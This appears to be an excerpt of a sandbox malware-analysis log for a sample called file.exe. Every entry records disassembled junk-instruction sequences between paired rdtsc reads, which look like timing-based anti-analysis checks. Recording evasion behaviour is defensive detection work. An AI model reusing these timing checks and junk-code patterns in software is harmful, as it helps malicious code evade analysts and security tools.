Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC70C second address: DDC72B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F20FCE83CA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC72B second address: DDC735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC942 second address: DDC95E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBE44 second address: DDBE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCD71 second address: DDCD82 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F20FCE83CA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCD82 second address: DDCD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCD88 second address: DDCDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F20FCE83CB1h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007F20FCE83CB1h 0x00000013 pop edx 0x00000014 jmp 00007F20FCE83CB2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCF16 second address: DDCF22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F20FD6D8E56h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1FF6 second address: DE2021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 jns 00007F20FCE83CACh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F20FCE83CAFh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE216F second address: DE2179 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F20FD6D8E56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2179 second address: DE217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2A31 second address: DE2A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2A39 second address: DE2A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2D58 second address: DE2D5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE31E9 second address: DE31ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE31ED second address: DE31F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE31F8 second address: DE3200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3200 second address: DE3234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F20FD6D8E65h 0x0000000b jmp 00007F20FD6D8E5Ah 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F20FD6D8E56h 0x00000019 js 00007F20FD6D8E56h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3234 second address: DE3257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F20FCE83CAAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3257 second address: DE325B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE325B second address: DE327A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F20FCE83CB9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1A26 second address: DE1A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1A2A second address: DE1A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1A30 second address: DE1A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5987 second address: DE598B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5B09 second address: DE5B23 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F20FD6D8E56h 0x00000008 jmp 00007F20FD6D8E60h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEA17B second address: DEA185 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F20FCE83CA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4B15 second address: DF4B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4B19 second address: DF4B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4B1D second address: DF4B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FD6D8E5Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F20FD6D8E5Dh 0x00000011 pop esi 0x00000012 jmp 00007F20FD6D8E64h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007F20FD6D8E61h 0x00000020 push edi 0x00000021 pop edi 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jns 00007F20FD6D8E56h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4B75 second address: DF4B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4B79 second address: DF4B83 instructions: 0x00000000 rdtsc 0x00000002 je 00007F20FD6D8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF339B second address: DF33A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF33A2 second address: DF33C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F20FD6D8E56h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F20FD6D8E65h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0CAC second address: DA0CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3C77 second address: DF3CA6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F20FD6D8E62h 0x00000008 jmp 00007F20FD6D8E5Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 jo 00007F20FD6D8E62h 0x00000018 jnp 00007F20FD6D8E56h 0x0000001e jc 00007F20FD6D8E56h 0x00000024 push eax 0x00000025 push edx 0x00000026 push edi 0x00000027 pop edi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3CA6 second address: DF3CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3DBE second address: DF3E08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F20FD6D8E69h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007F20FD6D8E67h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3E08 second address: DF3E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF935E second address: DF9362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9362 second address: DF9374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F20FCE83CACh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9630 second address: DF9646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FD6D8E61h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF97B0 second address: DF97FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F20FCE83CB5h 0x00000010 ja 00007F20FCE83CBEh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFA69 second address: DFFA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFE84 second address: DFFE8F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFE8F second address: DFFEAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FD6D8E64h 0x00000009 jnp 00007F20FD6D8E56h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00FCD second address: E00FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F20FCE83CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E012F5 second address: E012F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E012F9 second address: E01309 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F20FCE83CA6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01309 second address: E0130F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05E25 second address: E05E4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FCE83CACh 0x00000008 jc 00007F20FCE83CA6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jno 00007F20FCE83CA8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06013 second address: E06017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06017 second address: E06026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06026 second address: E06038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a jbe 00007F20FD6D8E56h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06038 second address: E06047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F20FCE83CA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06047 second address: E0604B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E062FA second address: E06300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B477 second address: E0B47B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B47B second address: E0B481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B481 second address: E0B491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F20FD6D8E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B491 second address: E0B495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B495 second address: E0B499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E11B37 second address: E11B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12294 second address: E122B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F20FD6D8E66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E122B2 second address: E122B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E122B6 second address: E122C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F20FD6D8E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E127E5 second address: E127FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F20FCE83CAAh 0x0000000a popad 0x0000000b jc 00007F20FCE83CBCh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C538 second address: E1C53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C10F second address: E1C115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C266 second address: E1C26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C26F second address: E1C273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C273 second address: E1C277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C277 second address: E1C282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28FD7 second address: E28FE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E28FE8 second address: E29001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F20FCE83CAEh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BC01 second address: E3BC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F20FD6D8E5Ah 0x0000000f je 00007F20FD6D8E56h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D46 second address: E45D4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D4C second address: E45D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D65 second address: E45D70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D70 second address: E45D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4457E second address: E44582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4488D second address: E4489D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E449CD second address: E449DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E449DA second address: E449E2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D506A1 second address: D506A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44B50 second address: E44B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44B54 second address: E44B73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB5h 0x00000007 ja 00007F20FCE83CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44B73 second address: E44B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44B78 second address: E44B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F20FCE83CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44B84 second address: E44B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44B92 second address: E44BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F20FCE83CB1h 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007F20FCE83CB1h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B048 second address: E4B050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CC43 second address: E4CC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CC49 second address: E4CC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CC4F second address: E4CC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F20FCE83CA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F20FCE83CA6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CC64 second address: E4CC70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F20FD6D8E56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CDDA second address: E4CDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CDE3 second address: E4CDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F20FD6D8E56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CDF0 second address: E4CDF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61350 second address: E61380 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F20FD6D8E58h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F20FD6D8E63h 0x0000000f jmp 00007F20FD6D8E61h 0x00000014 rdtsc
